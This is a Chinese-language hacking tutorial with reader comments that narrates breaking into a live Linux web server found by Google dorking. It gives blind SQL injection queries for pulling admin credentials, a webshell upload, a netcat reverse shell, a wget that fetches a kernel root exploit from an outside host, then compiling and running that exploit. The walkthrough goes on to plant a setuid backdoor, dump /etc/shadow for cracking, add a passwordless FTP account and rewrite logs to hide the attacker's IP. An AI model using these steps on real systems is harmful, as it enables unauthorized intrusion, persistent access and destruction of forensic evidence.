一起来入侵linux服务器
本文首发《黑客X档案》,版权规作者和黑X档案所有,未经允许请勿转载。
ps:菜鸟写给菜鸟看得文章,见笑了~~~
今天给大家带来的是一次入侵linux服务器,获得root权限,留下后门,清除日志的经历。此次入侵全部在Ubuntu下进行的,但是跟平台是没有关系的,只要有个浏览器就可以了。
相信大家还是入侵Windows的服务器多一些,其实入侵linux服务器同样简单,一些基本思路就是也是通过web漏洞比如rfi、上传漏洞、sql注射等得到webshell、继而反弹回shell之后通过本地提权exp进行提权,获得root权限。
linux的服务器lamp的组合比较多,所以我们在网上搜php的网站,通过文件的大写是否敏感就能得知是否为linux服务器。
实战演练
获得webshell:
Google搜索 “inurl:php?id=120 site:.cn”,随便点开一个,加一个”‘”,返回如下错误,
—————–code start—————
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1
—————–code end—————–
提交and 1=1,返回正常;and 1=2内容消失———确定存在注射漏洞,接下来我习惯要先确定的是mysql的版本,因为如果是5.X的话就不用猜测表名、字段名了。
提交 and substring(@@version,1,1)=5返回正常; and substring(@@version,1,1)=4内容消失,确定mysql的版本为5.x。
不过入侵并不是一帆风顺的,这个程序写的有点另类,order by和union 查询都不能用如图2所示。
图2
这种情况下考虑网站的其他程序Google搜索”filetype:php site:hacked.cn”,发现其它的php也都有注射漏洞,不过依然不能用union select。这样的话只好考虑盲注,盲注有不错的工具sqlmap不过我不习惯我自己写了个。采用折半猜解法,跟传统的注射一样方便,不过宿舍网速挺慢的,如图3所示
这样的话肯定能把密码读出来,在此简单说一下用法
读出当前数据库的所有表名
./bx.pl ‘select group_concat(table_name) from information_schema.tables where table_schema=databae()’
读出某表名(admin)的字段名
./bx.pl ‘select group_concat(column_name) from information_schema.columns where table_name=0x61646d696e’ (0x*为admin的hex编码)
读出admin表中usr、psd的内容
./bx.pl ‘select group_concat(usr,0x3a,psd) from admin’
这样把sql语句当成bx.pl的一个参数提交就可以了。
在查询的时候我顺便把后台找到了,从前面的测试中出现过将”‘”转换成”\’”的错误提示所以不能用但引号,没有试万能密码,直接试了下admin:admin没想到直接进去了!省得我慢慢等待了,如图4所示。
图4
更新首页图片新闻的地方直接上传phpspy获得webshell。
反弹shell,提升权限
本地nv -lvvp 8080用phpspy反弹回一个shell,如图5所示。
uname -a看了下内核版本 :Linux idc00 2.6.18-4-686 #1 SMP Wed May 9 23:03:12 UTC 2007 i686 GNU/Linux
cat /proc/version
发现是
Linux version 2.6.18-4-686 (Debian 2.6.18.dfsg.1-12etch2) (dannf@debian.org) (gcc version 4.1.2 20061115 (prerelease) (Debian 4.1.1-21)) #1 SMP Wed May 9 23:03:12 UTC 2007
在milw0rm.com上找到一个exp——http://www.milw0rm.com/exploits/5092
* Linux vmsplice Local Root Exploit
适用范围Linux 2.6.17 – 2.6.24.1
通过wget http://111.111.111.111/exp.c
下载到/tmp目录
然后用gcc编译: gcc -o exp exp.c
然后运行exp:./exp
成功获得root权限如图6所示
留本地setuid root后门和添加proftp帐号
接下来得留个后门,不能每次为了root权限都溢出一次吧,如果管理员打了补丁了呢?
留后门有添加用户等这样太容易被发现,这里就用setuid给自己留个本地root后门。
看操作:
—————–code start—————
wget http://111.111.111.111/exp.c
–01:53:23– http://111.111.111.111/exp.c
=> `exp.c’
Connecting to 111.111.111.111:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 6,554 (6.4K) [text/x-csrc]
0K …… 100% 38.75 KB/s
01:53:24 (38.75 KB/s) – `exp.c’ saved [6554/6554]
gcc -o exp exp.c
ls
exp
exp.c
whoami
www-data
./exp
bash: no job control in this shell
idc00:/tmp# whoami
root #获得ROOT权限
idc00:/tmp# id
uid=0(root) gid=0(root) groups=33(www-data)
idc00:/tmp# ls /lib/ld-linux* #留setuid本地后门
/lib/ld-linux.so.2
cp idc00:/tmp# /lib/ld-linux.so.2 /tmp/.bd
idc00:/tmp# ls -l .bd
-rwxr-xr-x 1 root root 88164 Nov 20 01:22 .bd
idc00:/tmp# chmod +s .bd
idc00:/tmp# ls -l .bd
-rwsr-sr-x 1 root root 88164 Nov 20 01:22 .bd
—————–code start—————
接下来我们退出root看看我们的root后门,我们再次获得root权限,如图7所示。
图7
./.bd `which whoami`
root
我们把shadow文件down下来用john破解root密码,破接了几个小时没有破解成功。
cat /etc/shadow >/tmp/sd.txt
用phpspy把sd.txt下载下来,本地执行john -i:all sd.txt破解了几个小时没有破解成功。
namp扫描下目标主机发现开了21端口如图8。
shell里面执行 ps aux|grep ftp。
发现是proftp,我们给自己添加个ftp用户,防止其还原web文件,我们的php马跑掉。
echo ‘fuser:/:555:555::/var/www:/bin/false’ >>/etc/proftpd/passwd
添加一个用户名为fuser密码为空的用户,使用ftp成功连接。
接下来是清除日志了
1.清除web日志和ftp日志
利用sed替换日志中我的ip为其他伪装ip。sed的-i参数能够直接修改源文件,然后我们用通配符*,一次性替修改所有日志文件。
cd /var/log/apache2
sed -i ‘s/111.111.111.111/127.0.0.1/g’ *.log
cd /var/log/proftpd
sed -i ‘s/132.125.25.21/127.0.0.1/g’ *.log
到此入侵结束删掉/tmp/目录下的垃圾,闪人……








lol…..! thx!
请问c兄能将bx.pl发我邮箱学习下吗?
c那厮写的很烂,别鄙视他啊~~~
在这里有下载
http://www.0x50sec.org/mysql%E7%9B%B2%E6%B3%A8%E8%BE%85%E5%8A%A9%E5%B7%A5%E5%85%B7%E4%B9%8Bget%E6%96%B9%E5%BC%8Fperl/
求此EXP
callmeyezi@gmail.com
THX…..
Now I feel situpd. That’s cleared it up for me